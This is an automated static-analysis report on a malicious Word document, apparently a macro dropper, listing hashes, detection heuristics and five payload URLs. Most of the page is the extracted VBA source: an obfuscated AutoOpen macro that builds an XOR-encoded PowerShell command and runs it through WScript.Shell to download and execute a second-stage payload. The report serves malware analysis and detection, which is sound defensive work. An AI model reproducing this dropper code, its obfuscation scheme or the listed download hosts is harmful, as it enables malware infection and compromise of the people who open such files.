Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b36336f8e530a35…

MALICIOUS

Office (OLE)

248.5 KB Created: 2018-07-02 21:55:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 4db77ece07e5c114c69644fdc832dad4 SHA-1: 6a76c45900d480a5e8ce95912b860586fbd0834a SHA-256: 4b36336f8e530a3526dff704e09f9b9033d88b017dcd44c015ede8c9034b3c05
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers the execution of WScript.Shell, which is used to run commands. This strongly suggests the document is a dropper designed to download and execute a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6599118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6599118-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       rqkGiE = (33483 + swSKlI / 83822 - UJoJN / XsMpji + 37025 - 37189 - uGWzj)
lWpkMMW = cPXVQmjGvr + CreateObject("Wscript.shell").Run(jHtiSQ + Chr(vbKeyP) + bKwoCiMu + Chr(vbKeyO) + wOAqEVKHKI + nSitOsN, 591605692 - 591605692)
   BapvjM = (3063 + MDSNO / 56314 - PQOFSs / tXjJYi + 46119 - 8006 - JIdSi)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       rqkGiE = (33483 + swSKlI / 83822 - UJoJN / XsMpji + 37025 - 37189 - uGWzj)
lWpkMMW = cPXVQmjGvr + CreateObject("Wscript.shell").Run(jHtiSQ + Chr(vbKeyP) + bKwoCiMu + Chr(vbKeyO) + wOAqEVKHKI + nSitOsN, 591605692 - 591605692)
   BapvjM = (3063 + MDSNO / 56314 - PQOFSs / tXjJYi + 46119 - 8006 - JIdSi)
  • Payload URL decoded from an encoded PowerShell loader (6 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "hApzjAZGClGEAd"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://orbit99.co.id/pcobiruwe/e3zaz13al/ Referenced by macro
    • http://www.saudi.maksab.co/wKe2SxnC/Referenced by macro
    • http://www.sweetlifecafe.in/WMwuV9X6/Referenced by macro
    • http://baute.org/wm2er2xoj2/Referenced by macro
    • https://www.ky663.com/vs4Prld/Referenced by macro
    • http://www.saudi.maksab.coReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16845 bytes
SHA-256: fd41cb07345433996627d75885fba61c26a3ea1cde20df150ee6f2aaae16fa14
Detection
ClamAV: No threats found
Obfuscation or payload: likely
293 of 488 identifiers look randomly generated (e.g. 'hApzjAZGClGEAd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KFQXLISphBX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hApzjAZGClGEAd"
Sub AutoOpen()
On Error Resume Next
   siosu = (46853 + fSdjZ / 18604 - NBFnWO / uAkpGb + 25300 - 10429 - KzwoW)
   ISGTI = (64888 + ZhzwzC / 90410 - rRAPwi / CnzDZ + 231 - 37030 - dVTMtm)
   DGQPaC = (83481 + cKKjT / 62618 - YYSEPS / EHiGz + 39016 - 52512 - pBwKNu)
   jHBLdU = (85550 + QAChw / 90288 - pWOhBI / UDXjwV + 16907 - 73495 - SAYpK)
   EoBMs = (26063 + zmikv / 24146 - vjtrwm / ouYXGi + 83768 - 68200 - YFjmSZ)
   oPXOFk = (9026 + awLMl / 13835 - qYEPuc / liONFF + 59593 - 21687 - IWAEba)
PLwowGjjzqT (uJzHA + SrUqtiPfIhU + wOvQsPfHE + oQJbIitIKzN)
   sDpMz = (20211 + izarO / 22406 - CfDzio / sfwjO + 42481 - 6818 - lCFQAL)
   EPrbP = (68333 + iOQzr / 11150 - zEzmXA / rjioP + 77086 - 24020 - mwLWq)
   nIDYRc = (1656 + QPizzn / 95298 - idLoN / ImAvDH + 53607 - 33209 - UPQKwt)
End Sub
Function PLwowGjjzqT(wOAqEVKHKI)
On Error Resume Next
   FYWGP = (37687 + RoZai / 39631 - LBNDzQ / VYtIz + 51419 - 18227 - jcAOQX)
   RGTpci = (13598 + hzwGIN / 5795 - zcokz / wQsAjE + 92941 - 48339 - DKZkG)
   KopOuM = (21543 + UAUjV / 7210 - cnnnID / bzCiIh + 86535 - 92572 - dwWmow)
   FRmNY = (140 + YaVfb / 44112 - wzjNMq / MEiJY + 32115 - 83570 - zQwdRh)
   VpXbk = (56985 + mBRZw / 62580 - qZcIIt / IEAjX + 78110 - 52501 - iwEDZ)
   rqkGiE = (33483 + swSKlI / 83822 - UJoJN / XsMpji + 37025 - 37189 - uGWzj)
lWpkMMW = cPXVQmjGvr + CreateObject("Wscript.shell").Run(jHtiSQ + Chr(vbKeyP) + bKwoCiMu + Chr(vbKeyO) + wOAqEVKHKI + nSitOsN, 591605692 - 591605692)
   BapvjM = (3063 + MDSNO / 56314 - PQOFSs / tXjJYi + 46119 - 8006 - JIdSi)
   OjZVbA = (72069 + VFqYf / 82200 - tQzIj / MXnWs + 16138 - 79581 - ElKMP)
   ijzQt = (16168 + ODiGs / 25806 - QsdKC / BJlwir + 92488 - 8907 - TfLPo)
End Function

Function uJzHA()
On Error Resume Next
cjThkn = NQidom * 49499 + 12883 / fiZkQ * TVrzzw + 46056 - IUhqcX * AbAbpn / (BAliE - EnihX + 90806 + wpmoj)
   ZXrkq = GbOubj * 81793 + 3264 / QoVVt * suCzU + 19620 - MwmUV * hJJujW / (tqHlT - mvRiv + 3308 + NjcomW)
   zPSIGO = UNGup * 97539 + 62007 / BnRiK * NuNqT + 71691 - AjVHK * PdYziE / (ShLnG - DEfoX + 15593 + NkVER)
iHTKkVnj = "wershell" + "      " + "    " + "         " + "ieX" + Chr(40) + " " + Chr(34) + "$" + Chr(40) + "Set-It"
kWIGvz = (67967 + fHZJa + tTrMQu * bUpAT / 63298 * 18631 - 99425 - oMuAC - (6263 * tpkVAY - FXzAUf + aXmZJB))
   dFkkmG = (9580 + GzzoA + JLdWz * rSzXLP / 25340 * 21213 - 94541 - QkorJI - (68249 * GzHUD - IpEqt + knJkrK))
   GbQZH = (39014 + MOasq + zXfYPC * kcWjpU / 25763 * 27173 - 78347 - asBan - (26483 * vtEMs - WIiEA + rNKHM))
FXGniFC = "em  'v" + "ArIA" + "BLe:of" + "S' ''" + Chr(41) + Chr(34) + Chr(43) + " [" + "STri"
NZWtt = (51936 + iOzIA + cRPAU * PbOVL / 44314 * 33041 - 33609 - cbEAz - (4650 * mjDNt - puqwps + SYJPT))
   YwpEvJ = (954 + Gbwai + JOVtfC * kbsdQ / 8751 * 25868 - 8476 - qjjtJa - (84020 * ohjkoL - UPpiwn + rpQoVz))
   iwELWc = (18333 + FnvIA + GfjwGd * mUfPh / 46677 * 27294 - 83851 - RojEY - (45788 * Xhljrk - vnouz + rNJqXr))
iNtCwUUYwI = "Ng]" + Chr(40) + "[cHar[]] " + Chr(40) + "10,90 " + ",123 ," + "105, 19," + "64, 75 ," + " 89 " + ", 3," + "65, 76," + " 68,75" + ", 77" + ",90 ,1"
iEnRbl = (32120 + ooiXoF + SdvPAJ * PfGrt / 77546 * 82358 - 56562 - FuFKd - (93490 * NZbaa - Abwrt + ntGzQ))
   rphjUt = (56623 + tNhhBF + ZLMhH * cGVSMQ / 66586 * 47163 - 14325 - MLblrR - (77530 * ntSWir - bFJwV + tUzOjM))
   pHLjsc = (5558 + Ucciv + VJipY * bOffsC / 89393 * 37757 - 81207 - zzphno - (15396 * hwXPjX - PvYBdK + YhBbc))
htjRNCRDcbV = "4, 96 ,7" + "5 , " + "90, 0, 1" + "21, 75" + ", 76 , " + "109 , 6" + "6,71" + " , 75 ,6"
IcuHm = (63155 + VaTPI + RuOOG * dwlLZ / 49676 * 72119 - 83938 - rcXIE - (44930 * KwKjBW - BltpwX + GkILiS))
   UktFh = (18017 + vQplbn + oifjt * ocCsLc / 16573 * 91092 - 70675 - AofUrj - (52360 * HdEDca - Fzfmp + IvzZs))
   RVhAp = (5505 + zwGEAf + PEWWHz * ZjjmUS / 69870 * 84369 - 28054 - WEPtdd - (66895 * TUDpm - wsQrjl + aTnspz))
JcvWM = "4 , 90, " + "21, 10 , " + "126 " + ", 106" + " ,120" + ", 19 ,9" + " , 70" + " , 90 " + ", 90 , " + "94 , 20" + ", 1 ,1 " + ",65 , 92 "
BuEAmK = (77594 + zvTSEC + bQtlAb * GfdIvT / 85063 * 85923 - 60476 - zBaDCc - (34207 * nlJJiM - majfGo + GOnZXd))
   rrRMHR = (25332 + ioQtAY + tWvwv * VvLbf / 51162 * 50768 - 7345 - kVqDNB - (80027 * XtkLIq - lPMkfj + JjhVv))
   UwEQX = (36824 + cdZnb + MqdzAQ * IsLNZG / 12937 * 91353 - 22475 - dFncS - (78961 * sGtfK - HrivfQ + pZGDHb))
uaIoA = ", 76" + " , 71 , 9" + "0 , 23 " + ", 23," + " 0, 77, 6" + "5, 0"
lcqms = (69656 + uCzLD + pXFLs * FjpQO / 79785 * 47220 - 27960 - MKWsFk - (92313 * CzTYmj - RBhauk + UpIqY))
   WBjZCu = (67454 + ItscOZ + HvPHiZ * SjHjQP / 82043 * 68248 - 18522 - LKdBb - (52694 * wzzwHP - rriQj + FlQfiz))
   LczTVb = (66545 + aSwUtc + OYoSw * wMIzT / 84247 * 16599 - 80845 - jOLzja - (99927 * CLBqqi - GBHBGQ + YcqMP))
jBIdYu = ",71 " + ",74 " + ",1,94, 77" + ",65 ,76 ," + " 71, 92 " + ",91 ," + " 89 ," + " 75 , 1,"
SiTsZ = (69184 + RDvkj + aLiZs * UisYj / 50470 * 5429 - 66654 - ZuzSb - (17253 * SfHZX - HovwkM + tGqmX))
   WbFcj = (36940 + XEmXHl + fGdQR * KYjAKo / 72182 * 42675 - 24119 - rKtQZl - (76502 * WDIsa - JXQoW + vCSRz))
   jaFmSW = (2536 + rIwRE + DswST * bbDdhq / 80944 * 65595 - 45582 - DLuwZ - (92594 * soCWp - fzjfB + BHYTkD))
rCoFlXDZRK = " 75," + "29,84" + " , 79" + " , 8" + "4 ,31 ," + "29,79 , 6" + "6, 1" + " , 110," + " 70, " + "90, 9" + "0 , 94 ,2" + "0,1 ,1"
vERrhK = (21013 + vMOVi + SRtOdR * VqnYwz / 21801 * 69320 - 78316 - bSbqju - (59075 * whBOz - uGdii + EnjAZ))
   unXjah = (97129 + fmMHE + rBkwR * kqwcw / 73577 * 53467 - 62947 - WwCPUp - (99490 * chvXd - nnApD + uTTCr))
   iTkKz = (79677 + UnCGD + WPsfjw * tidqW / 54588 * 11612 - 61254 - omaQWP - (21406 * niLIcV - zZAHtL + wESTA))
DqJhzGJYBz = " ,89 " + ",89,8" + "9 ,0, " + "93,79, 9" + "1 , 74" + " , 7" + "1 ,0,67 " + ",79 " + ",69 , " + "93 ,79,76" + " ,0,77" + " , 65,"
uJzHA = iHTKkVnj + FXGniFC + iNtCwUUYwI + htjRNCRDcbV + JcvWM + uaIoA + jBIdYu + rCoFlXDZRK + DqJhzGJYBz
   Eruko = (10612 + ZJoKr + SsqIRV * HWJoww / 47194 * 32462 - 92014 - iAXPl - (16314 * rspFD - zdIGk + ELCjG))
   wBtHlQ = (64186 + CCdJQK + XbcIT * BEjFNv / 96720 * 37667 - 84449 - hBOJA - (29862 * onIdmj - iOlGcz + OEDuw))
   hiGmrj = (1734 + GJJUTj + aQYjjD * JLpqn / 86958 * 83540 - 82176 - TRRDaJ - (10920 * IEaDp - omDni + dAZuWY))
End Function
Function SrUqtiPfIhU()
On Error Resume Next
CYUjW = (20121 + vHBBXI + nULOPU * awJrq / 88472 * 11851 - 37441 - LODGuQ - (35939 * GbEiW - kjUSd + tofbzb))
   JpwCHS = (5598 + vSjuDj + kcsOcs * tXhuq / 83666 * 29940 - 72520 - DWwRVj - (99321 * FuXXQ - zEAPb + fZJqFw))
   LrfQY = (54590 + pmTBk + BlHnQ * DmZIWb / 55656 * 49651 - 5818 - jbGSq - (14737 * bLfCLX - PSiFrI + rLUXnl))
DEPiJL = " 1, 89," + " 101 ," + " 75,28," + "125 " + ", 86,64," + "109 ,1 ,1" + "10 ,7" + "0 ,90 ,9" + "0 ,94,20 " + ",1,1,8" + "9 , 89 " + ", 89"
UMcLc = (18225 + dXEOG + doJhV * cwjqpc / 76908 * 87632 - 29634 - NILZKi - (82568 * juOtua - lJaPrP + VaTakW))
   jlYJRa = (9244 + cqzUT + ItoWqb * ifHrd / 44043 * 28195 - 36544 - IjiMBJ - (84215 * QBjNRs - bplNhq + ZzXFF))
   joPHzK = (93484 + jpwzj + aRjDJr * SNiYO / 72151 * 74321 - 72676 - kuUqA - (11765 * lvQCic - QuiivI + WbfhQb))
SUrurdQpFsm = ",0 ," + " 93,89 " + ", 75" + ",75,90 " + ", 66 ,71," + "72,75," + " 77 , 7"
SoDqk = (75339 + NpGwzB + FovAMm * QnlBlw / 95433 * 19391 - 59478 - wDaacw - (81172 * iLTljo - jvFkE + sSqCA))
   vlrij = (99987 + KrzzJE + szrDmI * wcOic / 34538 * 87552 - 87336 - AjMwjE - (69211 * rRrJOd - luDRss + JLjwJ))
   pzojD = (20555 + AvaVc + FYibHi * zmEDr / 48298 * 51749 - 33372 - ljXcj - (2329 * pbPaRo - Faduw + KrjXvU))
fmuQsE = "9, 72," + "75 , 0" + " , 71, " + "64 , 1 ,1" + "21,99, 89" + ", 91, 1" + "20,23" + ",118 ," + " 24, 1 ," + "110 ,70" + ", 90 " + ",90,94"
AHiCQr = (94117 + wFOoP + MUQJk * lthOcB / 14607 * 62071 - 45644 - PkuGk - (68391 * psWjKo - occlHo + ZLKrHZ))
   OrLowF = (17518 + rTUNnc + MLtPR * Gvjoi / 53069 * 87093 - 96906 - cWomXY - (5278 * AEZZY - iFUUo + rndIl))
   aPkQv = (91304 + itIVdl + ROSbEs * AYWZj / 13374 * 81846 - 47553 - OdJQOd - (73224 * OtzJi - PdDSI + rQCjta))
mqDFJT = ",20," + " 1 ,1 ,7" + "6, 79,91" + ", 90 ," + "75,0" + " , 65 " + ",92," + "73 ,1 , 8" + "9 , 67" + " ,28"
wfzQi = (30424 + QqwZAE + JGsLsf * kwjOGE / 89453 * 69496 - 78963 - fBQcXE - (69479 * JiHUj - TQKtkv + PGZLj))
   jRAjH = (59601 + DwlvOa + lWzzkR * PltRGu / 68721 * 80141 - 82953 - YbaWf - (56342 * LzIQdW - UMwui + zhvhR))
   CXLAj = (2583 + tzoCm + IljAa * ODuqt / 1119 * 99528 - 87903 - PvqQqo - (65111 * zdbSi - UbIHim + jFzvSM))
uVXZnU = " ,75," + "92, 28" + " ,86 ,65" + " ,68 ,2" + "8 , 1 " + ", 110 ," + " 70 , 90" + " ,90" + ", 94" + " , 93" + ", 20 ,1, "
HOAktO = (13297 + XmANF + EmlJJl * hzuzp / 13448 * 82703 - 46406 - jsEzWf - (19843 * OCWGo - MjopvK + lXjSZR))
   YYEpU = (59176 + LmkZbJ + vlMHs * pdnRAX / 58567 * 43924 - 6966 - GWQNf - (6263 * GmkWO - qJqNK + FEJSuL))
   mEHPr = (62235 + HIGXY + XuHOHt * iOARv / 25422 * 91164 - 89507 - YjwOD - (53609 * vGOHa - aiRXi + qQRKj))
fwEIOzr = "1,89 ," + " 89 " + ", 89" + " ,0,69 ,8" + "7 , 24," + " 24 ,29," + "0 ,77," + "65,67 " + ", 1, 8" + "8 , 93," + " 26,"
SrUqtiPfIhU = DEPiJL + SUrurdQpFsm + fmuQsE + mqDFJT + uVXZnU + fwEIOzr
   lmozAO = (15965 + dDKwtr + GVIPaK * IKJUtz / 1551 * 94404 - 7600 - CkRSR - (78739 * IGlNFf - RlZwo + fkkpd))
   MmdXEw = (53635 + zYBfV + YUBwm * uzLtB / 19836 * 35653 - 3011 - WOmGab - (19004 * JBuwzN - HcOGsq + dNbiP))
   njUKjj = (98930 + tIaNoj + GUZiD * sCIYCI / 89605 * 83123 - 34306 - comBD - (76991 * EhGrXI - MJHkY + KGaAv))
End Function
Function wOvQsPfHE()
On Error Resume Next
kVuiaT = (51923 + PYvqO + rvrYvj * mYvMJ / 98623 * 34778 - 70669 - frMjr - (76795 * QVfmd - DTPdwM + WCnfCz))
   DWoQw = (96904 + INjczE + psKML * IwJHbh / 94410 * 45818 - 79449 - lcTta - (65205 * tQmAl - MSDSPT + RKJFJ))
   wSQUIZ = (81828 + DiiCDo + CPwtuU * wfCFCC / 54765 * 8957 - 61968 - tqHwEL - (57086 * BKPkz - ItvAXj + DcWVl))
VRHdz = " 126 , 9" + "2 ,6" + "6,74 ," + " 1, 9 " + ", 0 ," + "125 ," + "94 , 66 ," + " 71,9" + "0 , 6, 9" + " , 110" + " ,9,"
MjoRB = (50810 + wvziK + HfQvZf * AzpYO / 63691 * 8645 - 57583 - bTOkTV - (62990 * zlaRz - SYIWL + BOkZnG))
   QzKds = (12331 + zbdMj + WAXAc * lkqYM / 37443 * 30001 - 9609 - nUOKXU - (47413 * Gbkpno - DksYTQ + TFuwk))
   rQDUV = (80255 + UjPaZ + wLwoFE * hWzGK / 86010 * 95426 - 90861 - jowNF - (79001 * vREcvv - JhzZiq + vUiCi))
wZbOo = " 7 ,2" + "1, 1" + "0 , " + "106," + "105,8" + "9, 14" + ",19, 14" + " ,9 , 26" + ",26, 31" + " , 9 ,2"
YzJcB = (24676 + GPCJp + CQZsSz * IUcaql / 57906 * 28389 - 1687 - PajwZ - (18766 * Hnbfb - ijjWOI + NczoRE))
   iBTowL = (99711 + KQGRZ + HdjKw * qdqcEU / 37005 * 78725 - 95669 - zzNrr - (41822 * vWWvt - GfkNM + zrZadA))
   ilQiu = (10877 + miFwc + HliWQ * jtrHOP / 12166 * 12844 - 91180 - buhVoi - (41878 * skVhv - dXmBm + zdYkYb))
icDOZX = "1 , " + "10, 11" + "6 , 66 ," + "72,19,1" + "0,75, 6" + "4, 88 ,"
Kqkir = (20992 + nTIEh + lEknb * zJkwU / 13770 * 12263 - 96220 - iYXkrp - (21156 * Lsikjf - WjfoFu + lwaDr))
   UUIlIM = (18954 + jphda + tpIFo * lKNipw / 43243 * 737 - 97360 - GVTYZD - (31175 * jYCnWp - EOzQAE + fAKJH))
   tQXlML = (17451 + lTqiaW + vwRNi * aobRsD / 45151 * 74472 - 47660 - owkov - (40183 * YYWrlM - GfYipC + pMdTb))
BGsRiQAFJJ = " 20,90" + " , 75, 6" + "7 , 94 ," + " 5,9, " + "114 " + ", 9,5 ," + "10 ," + "106,105 " + ",89 ,5 "
wLqJDw = (67016 + KBdpY + VPYwn * nkhXk / 96272 * 63617 - 66594 - TOQwmo - (45159 * tkYGfu - VabjC + bLVjq))
   OiQTu = (98892 + SjqHEQ + jHKzl * vdjCcs / 91842 * 10528 - 78803 - NEkzFv - (82951 * PEpoAz - zRkOwH + lNVlCO))
   dSZFQ = (428 + qnNtm + wjfOPR * pUCKW / 309 * 62022 - 51577 - DvNwbt - (30774 * iHGKD - HjpzDi + zGSiXI))
OSBczpTCE = ",9, 0" + ",75," + "86,75," + " 9 ,21," + "72 ," + "65, 92,75" + " , 79 " + ", 77 ," + "70 , " + "6 ,10 ,1"
CDidlc = (5940 + RGnPY + jEGchM * aLrqnb / 36139 * 44268 - 58072 - tduNA - (21890 * PWmfA - biiDFJ + JUBOc))
   sdWiXc = (39363 + zjXVY + oYPMri * Aooww / 28565 * 28210 - 2293 - iwAqY - (84791 * zpNNlH - CutzVC + qSoVs))
   nnzBkw = (75116 + tmdUft + NKazZi * HEXNN / 29570 * 19909 - 48021 - jkIXWR - (41486 * iNqhw - jZPSv + aQCJX))
abkKhwsSkwa = "22 ," + " 98,97 , " + "14 , 7" + "1,64 ," + "14,10" + ",126 , 10" + "6,120 , "
wOvQsPfHE = VRHdz + wZbOo + icDOZX + BGsRiQAFJJ + OSBczpTCE + abkKhwsSkwa
   ikbNFJ = (64660 + YViXw + PWiVZs * mECPtw / 27183 * 84306 - 63130 - UfDzP - (28059 * HbZziZ - bYKmU + TvAzvj))
   XrmwRq = (24089 + sQRdSi + DVPuE * XoLjma / 95405 * 89892 - 28937 - IqDsOB - (77626 * GXoXWu - mOVERl + GBzDaO))
   wMLTJ = (83207 + Ortuz + iNwSr * frnUn / 53014 * 45581 - 86324 - YfDCjp - (2259 * PGnmPw - iPnMJF + hInAhK))
End Function
Function oQJbIitIKzN()
On Error Resume Next
POvdhJ = (74539 + qzBhR + hCARQD * MbpzzV / 70049 * 4132 - 86741 - bZSrI - (84911 * pktXYY - kTwZw + lKLfDn))
   SGRrK = (5865 + JtLJD + rWjTS * RJlIV / 20851 * 27670 - 1421 - mNjYl - (35304 * zizzYY - iJrwQ + nujkD))
   fjoCN = (94261 + aHwzYK + cfKcn * mNdWL / 6158 * 88402 - 48566 - OnnVm - (28316 * wqJbl - cVBAot + iADPj))
jVpztBSI = "7 ,85,90 " + ",92,87" + ",85 ,10" + ", 90 , 1" + "23, 105" + " , 0,106" + " ,65,89 "
Kjzwj = (92086 + zWfbk + FuWFU * ntqCw / 56812 * 26979 - 95487 - cshwUU - (15972 * CiTDW - wDiGfL + QpMRQ))
   fhwjL = (23806 + bivLA + uQGzK * NctKfA / 48188 * 28571 - 30130 - IfFrPE - (42038 * RtGuq - KfhEii + MrArz))
   TiwSS = (96599 + ViwcQ + zfUWAP * SuwQW / 67082 * 74316 - 83175 - DUhEw - (78434 * DPBFSF - EFqiN + vSMBwF))
bKoitQrEohf = ",64, 66" + " ,65,7" + "9 ,74 " + ", 10" + "4,71" + ",66 " + ", 75 , 6" + " ,10" + ", 122" + " , 98 ," + "97, "
XQimzu = (82094 + QFJtp + nhQsSl * AATUj / 70635 * 47383 - 91662 - FzSSwD - (67936 * IAAEu - YLsjY + aIZLSW))
   dJSJP = (5719 + UWTwiU + cCkoBh * RNLkv / 47942 * 37312 - 61131 - MzAiOh - (31018 * CWdQA - rCwji + Ubomm))
   PSQJS = (50604 + AKaWwj + JjSlOG * vInAAQ / 25013 * 94885 - 50185 - AcnUo - (84326 * iiRZNk - nojRY + aEPpT))
TiobOzzk = "2,14" + ",10, " + "116," + " 66 ,72" + " ,7, 21 " + ", 125,9" + "0 , 79,92" + " , 90 " + ",3 , 126" + ",92 ,65" + " , 77,7"
vGZTi = (31985 + aHzdqd + mPliDG * tThzs / 78503 * 15423 - 52571 - JOrClJ - (91345 * sNcZMs - GDjkF + JijuCn))
   WJdaqk = (74322 + aGPof + iSqYz * LiPkJb / 74179 * 19258 - 11419 - KVnJO - (73611 * PLYVLA - VwrnS + fnjqls))
   UlbjzW = (80933 + waJdT + mqisj * ItoFXW / 91797 * 98837 - 60072 - IiWDO - (12808 * vZqCJH - aHlmXs + CVMib))
vAhvVIULMCi = "5,93,93, " + "14,10" + ",116 ," + "66,72, " + "21 , 7" + "6 ,92 ," + "75,79,6" + "9 , " + "21 , 83 "
sROzcL = (25666 + uAWqwV + MaPziO * KkwrV / 64284 * 43771 - 73381 - XWsEwz - (52435 * AmEawV - WOFaIa + OfdGiz))
   ifNLrq = (67897 + XQpkjV + qWCKw * UTzlsm / 97148 * 3328 - 57512 - bDAnPK - (35928 * GuOlnw - oScZbO + FtJLP))
   qfZICw = (37955 + RbPzX + rKoMOA * HcvdX / 71311 * 15955 - 25261 - sScHKG - (58584 * vXiSz - LIDnWU + tQwQiD))
wtIIs = ", 77 ,7" + "9 , 90" + " ,77, 7" + "0 ,85 , 8" + "3, 83" + Chr(41) + "|" + "ForEAC" + "H-objE" + "cT{[cH"
wEkvt = (49525 + hfiCj + bDEWj * zzDTWb / 4410 * 53594 - 4737 - HdDusc - (5089 * SsNkE - katXn + BXafQ))
   MJimoB = (50093 + sQizF + DpZKCU * SAMqRS / 24819 * 56166 - 76755 - QcNpGu - (66211 * fBAUXl - NvHLF + zzKuJR))
   ukOTrz = (21975 + YEwlLw + uEqTO * uiwiio / 63710 * 93772 - 69254 - YiShS - (90564 * BPYVkj - HMoUGS + LBfzBS))
XaTijaQzrlf = "ar]" + Chr(40) + " " + "$_-b" + "XoR " + Chr(34) + "0x2e" + Chr(34) + " " + Chr(41) + " }" + Chr(41) + Chr(43) + Chr(34) + " $" + Chr(40) + "SEt-it"
XiNiEi = (35580 + szzvr + WTazc * jDXFRi / 85052 * 31617 - 60514 - uzclY - (93906 * WQpTkV - KPNbdd + whqNTL))
   ZOpWG = (69774 + hkowum + qFClkE * ikCmi / 41758 * 4713 - 17812 - CSzuZ - (5077 * JjZRa - OzlcG + KjwcFn))
   MVqCr = (79650 + ASFpZ + EhmHwi * uBVQnB / 35668 * 96477 - 30890 - YEljJu - (97786 * tjqJz - lDwfP + jPliNK))
KJSYLjh = "EM '" + "VarIABlE" + ":oFS' ' " + "' " + Chr(41) + " " + Chr(34) + " " + Chr(41) + ""
oQJbIitIKzN = jVpztBSI + bKoitQrEohf + TiobOzzk + vAhvVIULMCi + wtIIs + XaTijaQzrlf + KJSYLjh
   imkYOd = (46148 + ljurO + BsCLmm * VCBGPJ / 98463 * 66808 - 11091 - tHdYQY - (21316 * nCidT - krFIru + SARIk))
   zbRir = (38695 + ZiYzD + wojFwu * UUQMR / 39303 * 17409 - 14941 - oqwfR - (92186 * AvHdNQ - iqVtD + mMaWvE))
   SzUYjf = (80037 + kkPkT + Azjvrj * VXDqr / 22231 * 48278 - 51712 - MPjps - (22729 * izziq - GqYXC + TRWQA))
End Function


Attribute VB_Name = "MTiPXHwTEQA"

Open this report in the interactive analyzer, or submit your own file for analysis.